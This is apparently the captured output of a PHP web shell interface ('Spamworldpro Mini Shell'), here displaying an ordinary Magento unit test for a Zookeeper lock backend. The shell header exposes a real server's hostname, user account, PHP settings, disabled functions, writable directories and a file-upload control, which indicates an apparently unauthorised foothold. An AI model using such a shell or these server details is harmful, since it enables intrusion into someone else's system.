Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/vendor/magento/framework/Lock/Test/Unit/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/vendor/magento/framework/Lock/Test/Unit/Backend/ZookeeperTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Framework\Lock\Test\Unit\Backend;

use Magento\Framework\Lock\Backend\Zookeeper as ZookeeperProvider;
use PHPUnit\Framework\TestCase;

class ZookeeperTest extends TestCase
{
    /**
     * @var ZookeeperProvider
     */
    private $zookeeperProvider;

    /**
     * @var string
     */
    private $host = 'localhost:123';

    /**
     * @var string
     */
    private $path = '/some/path';

    /**
     * @inheritdoc
     */
    protected function setUp(): void
    {
        if (!extension_loaded('zookeeper')) {
            $this->markTestSkipped('Test was skipped because php extension Zookeeper is not installed.');
        }
    }

    /**
     * @return void
     */
    public function testConstructionWithPathException()
    {
        $this->expectException('Magento\Framework\Exception\RuntimeException');
        $this->expectExceptionMessage('The path needs to be a non-empty string.');
        $this->zookeeperProvider = new ZookeeperProvider($this->host, '');
    }

    /**
     * @return void
     */
    public function testConstructionWithHostException()
    {
        $this->expectException('Magento\Framework\Exception\RuntimeException');
        $this->expectExceptionMessage('The host needs to be a non-empty string.');
        $this->zookeeperProvider = new ZookeeperProvider('', $this->path);
    }

    /**
     * @return void
     */
    public function testConstructionWithoutException()
    {
        $this->zookeeperProvider = new ZookeeperProvider($this->host, $this->path);
    }
}

Spamworldpro Mini